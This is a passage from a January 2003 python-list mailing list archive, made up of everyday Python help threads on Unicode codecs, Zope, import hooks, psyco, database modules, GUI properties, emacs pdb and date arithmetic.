> >literals(*). In Python 2.3, this is possible, but only if you declare
> >the file encoding (i.e. you cannot enter them readily in interactive
mode).
> >
> >So if you want those characters in a string, you need to write
> >
> >u'\u884c\u90fd'
> >
> >Here, U+884C and U+90FD are the Unicode code points of the two
> >characters you show above. Alternatively, writing
> >
> >unicode('????', 'gb2312')
> >
> >should also work, provided you have a codec for gb2312 installed (and
> >provided your input is really encoded in gb2312).
> >
> >HTH,
> >Martin
> >
> >(*) Strictly speaking, you can put any Latin-1 into a Unicode literal if
> >the file is encoded in Latin-1.
> >
> >--
> >http://mail.python.org/mailman/listinfo/python-list
>
> = = = = = = = = = = = = = = = = = = = =
> thank you.
> In IDLE:
> >>> s=u'\u884c\u90fd'
>     >>> print s
> ????
>
> it's ok.but:
> >>> s = unicode('????', 'gb2312')
> UnicodeError: ASCII encoding error: ordinal not in range(128)
>
> how to install a codec for gb2312 ?

Martin von L?wis kindfully pointed out Chinese codecs at
ftp://freebsd.sinica.edu.tw/pub/ycheng/python/ChineseCodecs1.2.0.tar.gz
in another post...

>how to my input is really encoded in gb2312?

If you know that it is "simplified Chinese" you are inputting, it's safe to
say you are inputting gb2312. On Windows, this is codepage 936. Run "chcp"
in your command prompt. This should yield "CP936" as your current codepage.
This of course only applies if you are using Windows 2000's native support
for non-unicode based applications. If you are using a layer on top of
Windows, you are on your own... If you are inputting "Traditional Chinese"
(which would yield "CP950" when running chcp), it's safe to say that the
encoding is "Big5".

Regards

Vincent Wehren

>
>
> gfu
>
>
>





From Pete at nospam.com  Tue Jan  7 09:22:48 2003
From: Pete at nospam.com (Pete)
Date: Tue, 07 Jan 2003 14:22:48 GMT
Subject: Zope, XML/XSL HTML, Mysql
References: <9tzS9.10989$oS1.48139@news-server.bigpond.net.au> <avehaa$16a$1@newstoo.ericsson.se>
Message-ID: <YoBS9.11432$oS1.49967@news-server.bigpond.net.au>

thanks a point in the right direction, however this has lead to another
problem, xml.dom.minidom is not part of the python base.
Zope requires that I use an external method which means I would lose all the
security.

Anyone know how to allow it so I can load the xml.dom.minidom as Zope Python
script and not a external method - python script?




"Frithiof Andreas Jensen" <frithiof.jensen at removethis.ted.ericsson.dk> wrote
in message news:avehaa$16a$1 at newstoo.ericsson.se...
>
> "Pete" <Pete at nospam.com> wrote in message
> news:9tzS9.10989$oS1.48139 at news-server.bigpond.net.au...
> > Hello,
>
> > Does anyone know of any such components? or any suggestions to make the
> > above more simplier or more effective use of existing code?
>
> I *think* that the dom modules can actually do this - I vaguely remember
> some xml.dom.minidom example lurking in the docs...section "13.7.2 DOM
> Example" in the "Python Library Reference" ;-)
>
>





From alan_salmoni at yahoo.com  Tue Jan 21 15:52:40 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 21 Jan 2003 12:52:40 -0800
Subject: looking for a math package
References: <6ca96053.0301202324.7a741acd@posting.google.com>
Message-ID: <b68f71a7.0301211252.1b869113@posting.google.com>

Have you tried the Numeric extensions to Python? I am not sure if it
is exactly what you need, but there is a module attached (RandomArray)
that can generate series of random numbers according to a
distribution. See more at:
http://www.pfdubois.com/numpy/html2/numpy-19.html#pgfId-303091

Alan James Salmoni
SalStat Statistics
http://salstat.sunsite.dk

yuvalfeld at hotmail.com (Yuval) wrote in message news:<6ca96053.0301202324.7a741acd at posting.google.com>...
> Hi, 
> I'm looking for a package containing some useful math functionality,
> written in python. In particular, I want to generate a random variable
> that will be drawn from a power law distribution, and I'm looking for
> an appropriate package.
> 
> Thanks.



From hades at woppit.com  Thu Jan 23 22:38:06 2003
From: hades at woppit.com (The Intertwingulator)
Date: Fri, 24 Jan 2003 03:38:06 GMT
Subject: People have started mailing me ms-word docs (groan).
References: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com> <mailman.1043369852.8417.python-list@python.org>
Message-ID: <3e30b4d8.1411643546@news.wlg.ihug.co.nz>

You dont have a link for this tool do you?, it's exactly what I am
looking for... cant find it via the OO website or google.



From jaraco at nospamsandia.gov  Wed Jan  8 13:51:18 2003
From: jaraco at nospamsandia.gov (news.sandia.gov)
Date: Wed, 8 Jan 2003 11:51:18 -0700
Subject: where to find win32 com <type 'time'>
Message-ID: <avhrt1$lc3$1@sass2141.sandia.gov>

I'm using the win32com extensions for Python to query a database with time columns in it.  When I get a result, I want to be able to identify if the type of the value is (specifically if it's a 'time' type).  Currently, I'm using the string returned by the representation of the type, but I'd rather use the object itself if possible.

# example
import win32com.client
conn = win32com.client.Dispatch( 'ADODB.Connection' )
conn.Open( <ODBCNAME> )
rst, res = conn.Execute( <QUERY> )
values = rst.GetRows( -1, 0, 0 )[0] # get the first column as a sequence
for value in values:
  if repr( type( value ) ) == "<type 'time'>":
    pass # do something with the time value

My motivation for doing this is I have a generic class that is responsible for manipulating the data regardless of type, but at some point it has to know the type to properly manituplate it.  I don't know how to refer to the <type 'time'> object, however to compare it with the type( value ).

Any suggestions?

Thanks,
Jason
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030108/7a9c0cd3/attachment.html>

From edream at tds.net  Sat Jan 11 14:26:21 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 19:26:21 GMT
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <xd_T9.121664$Hs2.11499154@kent.svc.tds.net>

Here is a copy of a posting I sent to another thread:

I often use the following idiom for methods in Leo:

def spam(self,...):

    v = self
    # Now use v instead of self

The idea is to use one-letter codes for common classes. Leo uses c for
"commanders", f for frames, t for Tk.Text widgets or "tnodes", v for
"vnodes", u for "undoer" objects, etc.  With this idiom, objects of the
class in which the method exists are handled just like all other objects.
It saves typing and makes the type of all objects clear.

One could use:

def spam,(v,...):
    # etc.

instead, but that would violate the coding guidelines (and pychecker would
complain by default).

This scheme is simple, clear, concise, effective.  It has no drawbacks that
I know of.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From just at xs4all.nl  Thu Jan  2 12:47:47 2003
From: just at xs4all.nl (Just)
Date: Thu, 02 Jan 2003 18:47:47 +0100
Subject: 2.3a1: importhooks oddity
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net>
Message-ID: <just-60C271.18474702012003@news1.news.xs4all.nl>

In article <ySNQ9.8812$9N5.914447 at newsread2.prod.itd.earthlink.net>,
 Hans Nowak <wurmy at earthlink.net> wrote:

> Howdy y'all,
> 
> I downloaded both the Windows installer and the source code for Python 2.3a1. 
> While playing with the new import hooks, I noticed something peculiar. 
> Consider 
> this piece of code:
> 
> import sys
> 
> print sys.version
> 
> def f(path):
>      print "Wahey!", path
>      raise ImportError
> 
> sys.path_hooks.append(f)
> 
> import nothing  # needless to say, doesn't exist
> 
> I built my own version with Cygwin, using a simple configure & make install, 
> nothing fancy. When I run the code, I get the following output:
> 
> $ python test-importhooks-2.py
> 2.3a1 (#1, Jan  1 2003, 21:44:23)
> [GCC 2.95.3-5 (cygwin special)]
> Wahey!
> Traceback (most recent call last):
>    File "test-importhooks-2.py", line 13, in ?
>      import nothing  # needless to say, doesn't exist
> ImportError: No module named nothing
> 
> This is what I expected. However, when I run this with the Windows version, I 
> get this output:
> 
> (P:\test\2.3) $ python test-importhooks-2.py
> 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)]
> Traceback (most recent call last):
>    File "test-importhooks-2.py", line 13, in ?
>      import nothing  # needless to say, doesn't exist
> ImportError: No module named nothing
> 
> In other words, function f doesn't seem to be called.
> 
> Is this a bug, a feature, or am I doing something wrong?

You may have to do sys.path_importer_cache.clear() to make sure no 
handler is registered for the path (this is most likely a None value, 
signalling it should use the builtin mechanism). Check PEP 302 for the 
details. You should then get a "Wahey!" for each member of sys.path (and 
as a bonus no file system import will work after you installed your hook 
;-)

Just



From imbosol at vt.edu  Sat Jan 25 03:37:55 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 25 Jan 2003 08:37:55 GMT
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net> <%djY9.51$Xw5.38@nwrddc04.gnilink.net> <b0smsk$ti$1@bob.news.rcn.net>
Message-ID: <D1sY9.706$Ec.203@nwrddc02.gnilink.net>

Aaron K. Johnson wrote:
> In message <%djY9.51$Xw5.38 at nwrddc04.gnilink.net>, Carl Banks wrote:
>> Aaron K. Johnson wrote:
>> > In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
>> >> 
>> >> I don't understand. Number of unique posters in the last 200 posts to a
>> >> newsgroup I understand,
>> >> and 647 to the (one) Python newsgroup I understand, but I don't
>> >> understand how you get
>> >> 647 different posters out of the last 200 posts.
>> >> 
>> >> Oh, and Clipper is an old data base language, somewhere in the dbase
>> >> family.
>> > 
>> > oops, sorry....I meant 2000!
>> 
>> 
>> Ok, then how do you account for 3715 different posters for Java:
> 
> I should have explained....each comp.lang.x.subgroup hierarchy gets
> totalled together as one group. So comp.lang.java.moderated,
> comp.lang.java.whatever get added together.....which makes me
> realize, I should make sure there are no-cross posts....back to the
> drawing board.

This approach has more problems than just the possibility of
cross-posting.  As I expected, you considered 2000 articles from all
six(?) Java newsgroups, meaning that the total you gave for Java is
from a sample of 12000 (or whatever) posts, but the total you gave for
Python is from a sample of only 2000 posts.  Of course Java's going to
have more unique posters then.



>> > survey begins here:
>> > 
>> > java 3715
>> > (c/c++ taken together) 1511
>> > basic 1292
>> > perl 1240
>> > c++ 953
>> > pascal 905
>> 
>> 
>> FWIW, N different posters in the last M posts is an irrelevant
>> statistic for me.  N different posters in the X period of time might
>> mean something--it certainly correlates somewhat to acutal
>> popularity--but there are too many factors involved to get anything
>> better than a vague estimate from it.
> 
> I'm just going for 'less and less vague each time'. Any more suggestions?

I suggest that even a theoretically perfect measurement of newsgroup
posting activity will still only be a vague (and skewed) estimate of
language popularity.  Vague because there are a lot of factors that
can contribute to higher or lower newsgroup volume; skewed because
these factors don't affect all languages equally.


-- 
CARL BANKS



From andrew at indranet.co.nz  Sat Jan 18 17:04:41 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 19 Jan 2003 11:04:41 +1300
Subject: python compiler (psyco)
In-Reply-To: <20030118145326.22327.00000077@mb-ca.aol.com>
References: <mailman.1042882054.29836.python-list@python.org>
 <20030118145326.22327.00000077@mb-ca.aol.com>
Message-ID: <2138780000.1042927481@localhost.localdomain>

He's right, you know, you probably don't need it.

Python is usually used as an interpreter.  Psyco is indeed a JIT compiler, 
which means it compiles 'just in time' as the code is executed.  You don't 
need it to learn to program in python, and it will most likely confuse you 
(like, sometimes debugging psyco-ised code is hard because the diagnostics 
don't correspond to the code you wrote).  It's an advanced and experimental 
thing that is mostly useful if you have python code that is much, much too 
slow *and* will benefit from psyco, which is by no means all code.

Generally, psyco makes simple programs use heaps more memory, be harder to 
debug and run slightly slower.  Sometimes it makes big, complex programs 
run much faster.  Best only to use it if you have a really big program that 
you know works stably, has a full test suite so you know if psyco breaks 
something, and is too slow.

Andrew

--On Saturday, January 18, 2003 19:53:26 +0000 CIouded 0ne 
<ciouded0ne at aol.com> wrote:

> i use windows so yea i would appreciate it if you could send me the
> binaries but what did you mean its python JIT? what is that? and i
> thought the python interpreter was shell cause thats what i was using i
> think anyway i could be wrong but at the title bar of the program it
> saids python shell. and why do you say i probably dont need it? seems
> like a compiler would be better than an interpreter?
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From nbodineau at club-internet.fr  Tue Jan 14 10:35:17 2003
From: nbodineau at club-internet.fr (Natacha)
Date: 14 Jan 2003 07:35:17 -0800
Subject: Baliser un texte en Python
Message-ID: <18f9f477.0301140735.304887da@posting.google.com>

bonjour,

nous aimerions savoir si Python peut baliser un texte(format .txt) en
format XML ou HTML.
Quelles sont les fonctions ? utiliser.
Merci de nous donner un exemple ou des liens de sites internet qui
peuvent nous aider.

Merci d'avance



From sholden at holdenweb.com  Wed Jan 29 15:32:49 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 29 Jan 2003 20:32:49 GMT
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <b0e655d.0301281341.5d7ae942@posting.google.com> <3E371BC2.BC18A93@engcorp.com>
Message-ID: <RTWZ9.46536$Vh.45632@news2.central.cox.net>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E371BC2.BC18A93 at engcorp.com...
> Whit Whitfield wrote:
> >
> > Ok, so I at least got past step 1 -- apparently my WinPython was setup
> > incorrectly because the code snippet above worked in Idle and on my
> > unix version of Python also.  (I assume that getting '200 OK' back
> > from musical
> > means it worked.
> > Now my only question is this:  I've scoped out the forms that I need
> > to automate and have all the name-data pairs, but do I need to do
> > anything special for the Submit button?  Or does posting the data
> > automatically start the server-side onSubmit actions?  Thanks for your
> > help everyone!
>
> It's up to the receiving server what is done with the Submit button
> information.  In many cases, it is checked to see that it equals the
> value specified in the form, and without that the input is not processed.
> Basically, since you can't be sure, you should either test it (and if
> you don't need it, then you don't need it), or just look in the form
> and make sure you include a key/value pair in your data that matches
> whatever the Submit button would actually do.
>

What Peter is trying to say here is that, besides the *client-side* action
of causing the form to be submitted, the button also appears in the POST
data stream as a type=value pair, and therefore you should include a
dictionary entry for it in your name-data pairs.

In terms of your question, yes, submitting the data triggers the server-side
actions that process it.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From morden at shadows.net  Wed Jan  8 18:01:33 2003
From: morden at shadows.net (morden)
Date: Wed, 08 Jan 2003 15:01:33 -0800
Subject: best college for computer science major
In-Reply-To: <3e1ba232_6@nopics.sjc>
References: <3e1ba232_6@nopics.sjc> <ef7a350b.0301081249.232b8746@posting.google.com>
Message-ID: <avi4fa$du$1@bob.news.rcn.net>

Sean wrote:

> "Tupoi"  wrote in message news:<3e1ba232_6 at nopics.sjc>...
>
> >what are the best colleges for those wanting to major in computer science
>
>
> The question is meaningless.  All undergrad CS is about the same.
> Differences in programs don't show themselves until you get to
> graduate level.

I beg to differ. I you will be taught by the idiot who had invented
Minix you can be screwed for Life :-)
It makes all the difference of that teachers you'd get.
Some people know how to design and implement systems and some
don't. Some teachers can sustain your interest in subject better than 
others. Some can teach better than others. It's just that simple.

If one is not suited for a job of a programmer then it might not make
a difference of what school you'd get into.
In short the choice of undergrad school could be very important.

Let me put it this way: if you can distinguish between competent
and incompetent instructor then it does not make as much of a difference
because you can ignore (or treat with extreme caution) information
coming from an incompetent source. But for that you have to know 
something. Therefore getting into a mediocre undergrad school
can be disastrous for someone who had a potential but not the knowledge
to weed out the chuff.

Yes, I meet incompetent instructors on regular basis.
They may be fine people, but incompetent nevertheless.
And some are persistent in their ignorance.
It's a big problem when you are taught by a confident ignoramus.




From tlavoie at acm.org  Tue Jan 28 16:22:10 2003
From: tlavoie at acm.org (Tim Lavoie)
Date: 28 Jan 2003 15:22:10 -0600
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
Message-ID: <873cnd6kcd.fsf@theasylum.dyndns.org>

>>>>> "pu" == pu  <pu at myRealBox.com> writes:
 
    pu> Is, or under which circumstances is the time which can be
    pu> gained by using a RAD-IDE equivalent to the time gained by
    pu> using Python directly?

Never. It's not how long it takes to crank something out the first
time, but how long it takes to fix and modify it later. "Hello world"
with some arbitrary GUI builder might be similar for many choices of
tools. Doing something fussy, and changing it later, makes all the
difference.

For what it's worth, you do have some choices in Python regarding
tools to help programming too, say for creating GUIs and so
on. Depending on the sort of help you like in the tools, there are
probaby Python equivalents out there. As an example, check out Glade
for GUI creation. (http://glade.gnome.org/)


-- 
I finally went to the eye doctor.  I got contacts.  I only need them to
read, so I got flip-ups.
                -- Steven Wright



From godoy at metalab.unc.edu  Tue Jan  7 12:51:34 2003
From: godoy at metalab.unc.edu (Jorge Godoy)
Date: Tue, 07 Jan 2003 15:51:34 -0200
Subject: Python + PostgreSQL
References: <kp65t0lxwp.fsf@wintermute.casa> <87of6sx33n.fsf@gvdnet.dk>
Message-ID: <kp3co497bt.fsf@wintermute.casa>

Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> writes:

> Yes, there's the DB API v. 2. I use that to interface with PostgreSQL
> from Python with great satisfaction. You can see the spec at
> http://www.python.org/topics/database/DatabaseAPI-2.0.html.

Martin, thanks for answering.

>From what I've seen this is just a specification of what should be the
syntax of the packages that implement database connections. As shown
in http://www.python.org/topics/database/modules.html there are some
modules that can talk to PostgreSQL and are DB-SIG compliant. Is there
one that is more commonly used? Or I can try and use any of those?
>From the description on the page above PyGresQL seems to be the one
recommended... Am I wrong?


See you,
-- 
Godoy.     <godoy at metalab.unc.edu>



From claird at lairds.com  Thu Jan  9 12:36:54 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 09 Jan 2003 17:36:54 -0000
Subject: Python and GIS
References: <avgqm7$3qn$00$1@news.t-online.com> <6qy95vvg5r.fsf@salmakis.intevation.de> <v1ooov6mf21f40@corp.supernews.com> <skj0f-m78.ln1@news.lairds.org>
Message-ID: <v1rcpm6ilbfva0@corp.supernews.com>

In article <skj0f-m78.ln1 at news.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
			.
			.
			.
>MapIt!
>	http://www.mapit.de/index.en.html
>(I haven't used it.)
>
>I also recommend checking out FreeGIS.
>	http://freegis.org/index.en.html
>
>--kyler

Or <URL: http://swexpert.com/CC/SE.C12.NOV.01.pdf >, for that matter,
although it's most pertinent to USAicans.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From imbosol at vt.edu  Mon Jan 27 16:52:59 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 27 Jan 2003 21:52:59 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b13k7t$jve$1@panix2.panix.com>
Message-ID: <%ShZ9.6170$uR.4760@nwrddc01.gnilink.net>

Aahz wrote:
> In article <HJ3Z9.987$P64.136 at nwrddc02.gnilink.net>,
> Carl Banks  <imbosol at vt.edu> wrote:
>>Martin Maney wrote:
>>>
>>> This seems to me to be, very simply, an area where Python's
>>> intentionally chosen limitations make it awkward to compose a clear and
>>> robust solution, at least in the general case.
>>
>>You've voiced you opinion about this before, if I remember correctly.
>>Python is not going to add an assignment expression just so you can do
>>this stupid, irrelevant thing without a little awkwardness.  Live with
>>it.
> 
> You're misreading Martin.  He's *not* necessarily suggesting that
> assignment in if be permitted; it's actually more a damning of the lack
> of switch.

He certainly isn't; a switch wouldn't accomplish what he wants to do.
And he *says* all he wants is to be able to do this set-and-test idiom
without awkwardness, but I've observed a monomaniac tendency to
dismiss any solution that isn't adding an assignment operator to the
language (i.e. he defines "awkward" as anything that isn't assigment
inside the if).


-- 
CARL BANKS



From max at alcyone.com  Fri Jan 31 04:34:33 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 01:34:33 -0800
Subject: converting data to hex
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com> <13a533e8.0301302351.132f1852@posting.google.com>
Message-ID: <3E3A4329.CF453983@alcyone.com>

Peter Abel wrote:

> >>> md5_string='788acf0f5ce8813cbdbddf510b54fb6f'
> >>> eval('0x'+md5_string)
> 160228096136631806570404481192208694127L

Scary.  Try long(md5_string, 16) instead.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ You can buy any kind of love, but you can't buy love deluxe.
\__/ Sade Adu
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From mis6 at pitt.edu  Wed Jan  8 15:25:16 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 8 Jan 2003 12:25:16 -0800
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com> <20030108160031.C349@prim.han.de> <3E1C3F27.1080009@v.loewis.de> <mailman.1042039926.12943.python-list@python.org>
Message-ID: <2259b0e2.0301081225.7bc45e7a@posting.google.com>

holger krekel <pyth at devel.trillke.net> wrote in message news:<mailman.1042039926.12943.python-list at python.org>...
> "Martin v. L?wis" wrote:
> > holger krekel wrote:
> > > 'i' might not be local but usually it is.  When answering 
> > > newcomer questions i try to refrain from talking in language
> > > lawyer details (as much as possible).  I only tried to explain the 
> > > for-loop from the viewpoint of names bound to objects.  I didn't 
> > > want to compare iteration protocols between python and C++ just 
> > > to explain that. 
> > 
> > I'm uncertain though whether an actually incorrect explanation helps the 
> > newcomer.
> 
> Of course, it shouldn't be incorrect.  I don't think i actually was. 
> 
> > Namespaces are totally irrelevant for this feature of the for loop.
> 
> Depends on your background.  *If* somebody e.g. thinks that 
> 
>     for i in range(3):
>         print i
>         i = 3
> 
> is somewhat equivalent to C's
> 
>     int i;
>     for (i=0 ; i<3 ; i++) {
>         printf("%d\n", i);
>         i = 3;
>     }
> 
> then IMHO my explanation serves well and talking about underlying 
> iterator protocols wouldn't help too much.  
> 
> Why is the way the python for-loop gets to the next *value* 
> more important than understanding that python works with 
> name-object bindings everywhere?  And what is so wrong 
> about this (*)? 
> 
> slightly irritated,
> 
>     holger
> 
> 
> (*) see http://www.python.org/dev/doc/devel/ref/naming.html
>     for further details.

If I may defend Holger, I had in mind exactly the C example he wrote.
The namespace argument maybe of not relevance here (yes, it is better
to think of i as a variable local to the loop), nevertheless it has
be useful to me to be reminded that Python interprets "variables"
in a quite difference sense from C. I tend to forget it sometimes.
I think I am not the only one who can be fooled by this example.

Cheers,

                                 Michele

P.S. I forgot to post the output of the script, which is 1 2 3.
And yes, the indentation is correct.



From donn at drizzle.com  Sat Jan 25 11:15:22 2003
From: donn at drizzle.com (Donn Cave)
Date: Sat, 25 Jan 2003 16:15:22 -0000
Subject: repr of type and class objects
References: <mailman.1043444146.18048.python-list@python.org> <3E31EC51.3A1B2B51@alcyone.com>
Message-ID: <1043511322.26111@yasure>

Quoth Erik Max Francis <max at alcyone.com>:
...
| I think you're reading too much into the "philosophy behind repr."  It
| is simply not the case that eval(repr(x)) == x should be true for all x,
| or even all builtin x types.  Even the interpreter help for repr simply
| says "for most object types."

Which has to be an exaggeration, though "for most objects" might
be true.

If repr is really used as a marshalling function, then the people
who are using it ought to be asking for something that can work
more reliably, a dedicated function that doesn't have to produce
something also intended for human eyes.  This function can fall
back on __repr__ the way str does.

If it really isn't seriously needed as a marshalling function, then
that notion ought to be forgotten, and some of the attendant issues
can be resolved (seems to me there was an issue with floating point
precision, for example.)

	Donn Cave, donn at drizzle.com



From aprogrammer at hotmail.com  Tue Jan 21 03:25:30 2003
From: aprogrammer at hotmail.com (Felix)
Date: Tue, 21 Jan 2003 16:25:30 +0800
Subject: emacs pdb on windows problem
References: <ud6msjb5s.fsf@scientia.com>
Message-ID: <u65six62t.fsf@hotmail.com>

Paul Rudin <Paul_Rudin at scientia.com> writes:

> I can't get pdb to work properly under windows 2000. I'm using emacs
> 21.2 (and the version of pdb/gud that ships with this), python 2.2.
>
> There seems to be some problem with the way the output from the python
> process is handled... nothing appears in the debug window, until I hit
> q to terminate the session, and then all the output appears at
> once. It's probably not too hard to fix, so I'll have a dig around
> myslef, but I thought I'd ask in case anyone else already knows what
> the problem is and how to fix it I thought I'd ask first.

gud.el(1319):

(defvar gud-pdb-marker-regexp
  "^> \\([-a-zA-Z0-9_/.]*\\|<string>\\)(\\([0-9]+\\))\\([a-zA-Z0-9_]*\\|\\?\\)()\\(->[^\n]*\\)?\n")

=>

(defvar gud-pdb-marker-regexp
  "^> \\([-a-zA-Z0-9_/.:\\]*\\|<string>\\)(\\([0-9]+\\))\\([a-zA-Z0-9_]*\\|\\?\\)()\\(->[^\n]*\\)?\n")

-- 
Felix



From sean at activeprime.com  Fri Jan 10 16:18:11 2003
From: sean at activeprime.com (Sean)
Date: 10 Jan 2003 13:18:11 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
Message-ID: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>

Anyone had trouble running wxPython on the GNOME environment that
ships with redhat 7.3 (GNOME 1.4 I think...)?  Our software has been
running into a lot of problems on that platform, and it looks like its
not us, since the wxPython demo is having the same problems (text not
displaying, weird visability errors, etc).  Anyone else had this
problem?



From maxm at mxm.dk  Thu Jan 16 04:15:13 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 16 Jan 2003 10:15:13 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no>
Message-ID: <3E267821.5030209@mxm.dk>

Thomas Weholt wrote:
> In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
> where we prefix all variables with a single character to indicate datatype;
> strings are prefixed with s, integers with i, floats with f etc. etc.
> 
> Are there any standards like this for Python? Or hints, tips, opinions
> related to this topic?


Yes there are: Dont! ;-)

def adder(ia, ib):
     return ia + ib

print adder(40,2)
 >>> 42

print adder('40', '2')
 >>> 402

You cannot be shure what type a variable will be bound to.

You cannot even be shure that it will stay that type, and then you will 
either have to rename them in you entire codebase, or have misleading names.

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From me at privacy.net  Sun Jan 26 19:40:33 2003
From: me at privacy.net (Greg Ewing (using news.cis.dfn.de))
Date: Mon, 27 Jan 2003 13:40:33 +1300
Subject: PEP 8 and properties
References: <f57664b9.0301191717.2fa584d5@posting.google.com>	 <v2mlb2s499teb2@news.supernews.com>	 <f57664b9.0301201645.1f10b82b@posting.google.com>	 <v2pcp0eckg7tdd@news.supernews.com> <mailman.1043357026.17812.python-list@python.org>
Message-ID: <3E348001.10406@privacy.net>

Ian Bicking wrote:

 > On Mon, 2003-01-20 at 20:41, John Roth wrote:
 >
 > I feel like there's other cases I haven't come up with, where the rules
 > I've decided on so far don't apply, or they do but I disagree with them
 > for that case.


One case I'm particularly interested in is things like the
position and size of a widget in a GUI. This is something
I'll be thinking about when I get back to my Python GUI
project. Currently I'm using accessor methods for these,
and I'll have to decide whether to switch over to using
properties.

What do people think about these? Changing them has some
pretty obvious side effects, yet it still seems easy to
see them as attributes that can be examined and changed.
Are they side-effectish enough that they shouldn't
be properties?

Greg




From n17999924.temp.werner at neverbox.com  Thu Jan 30 12:45:07 2003
From: n17999924.temp.werner at neverbox.com (Werner Schiendl)
Date: Thu, 30 Jan 2003 18:45:07 +0100
Subject: How can I pass command line arguments when python is embedded ???
In-Reply-To: <6Fc_9.4158$nD1.958914@news20.bellglobal.com>
References: <6Fc_9.4158$nD1.958914@news20.bellglobal.com>
Message-ID: <oprjtp9hlmmb24ka@news>

Hi,

you find the command line parameters in sys.argv

e. g.

import sys

for arg in sys.argv:
    print arg

The first item is the name of the script, the remainder are the parameters.

hth
Werner


On Thu, 30 Jan 2003 11:51:32 -0500, Luc <acid_til at yahoo.com> wrote:

> Hello fellow Python users :)
>
> Like the subject says, how can I do it ??? What I want to do is pass a 
> number to the python script file that is to be used to determined when to 
> load from a database.
>
> Thanks in advance for any help.
>
> Luc.
>
>





From eddie at holyrood.ed.ac.uk  Fri Jan 24 06:41:23 2003
From: eddie at holyrood.ed.ac.uk (Eddie Corns)
Date: Fri, 24 Jan 2003 11:41:23 +0000 (UTC)
Subject: The "beaty" of date arithmetic
References: <6e990e29.0301222352.2ebb5c1e@posting.google.com> <clt03v8a49rtfhe90l7nomj91rll1n8vjk@4ax.com> <6e990e29.0301232253.6298903@posting.google.com>
Message-ID: <b0r8p3$q5e$1@scotsman.ed.ac.uk>

hjwidmaier at web.de (Hans-Joachim Widmaier) writes:


>I've considered using mxDateTime, but from looking at the docs, I
>haven't found anything that seemed to make it much easier. The
>problems start as soon as you're going from fixed units like hour, day
>to somewhat fuzzier like month. What date is "T - 1 month - 1 day"?
>What date is "2000-02-29 + 1 year"? Date arithmetic *is* complex. Most
>of the ugliness IMHO stems from the tuple-list conversions and
>numerical indices. (Sure, I could have created names for them, making
>this little thing even longer.)

mxDateTime handles this and more.  Check the examples under the
RelativeDateTime section.

As for Feb 29 + 1 year:

>>> from mx.DateTime import *
>>> ld = strptime('2000-02-29','%Y-%m-%d')
>>> ld
<DateTime object for '2000-02-29 00:00:00.00' at 8129ec8>
>>> ld + RelativeDateTime (years=+1)
<DateTime object for '2001-03-01 00:00:00.00' at 815cf80>

>>> od =  strptime('2000-03-01','%Y-%m-%d')
>>> od
<DateTime object for '2000-03-01 00:00:00.00' at 8171180>
>>> od + RelativeDateTime (years=+1)
<DateTime object for '2001-03-01 00:00:00.00' at 8170d60>

Seems a reasonable interpretation to me.

I'm hard to please and I consider mxDateTime to be "good"!

Eddie



From peter at engcorp.com  Tue Jan  7 18:20:18 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 18:20:18 -0500
Subject: xml-rpc, O'Reilly cookbook example not working???
References: <7190BF5EB309D511A15600508BF18D83560DF3@exchange.iecholden.com> <mailman.1041978775.7440.python-list@python.org>
Message-ID: <3E1B60B2.11B0B8BC@engcorp.com>

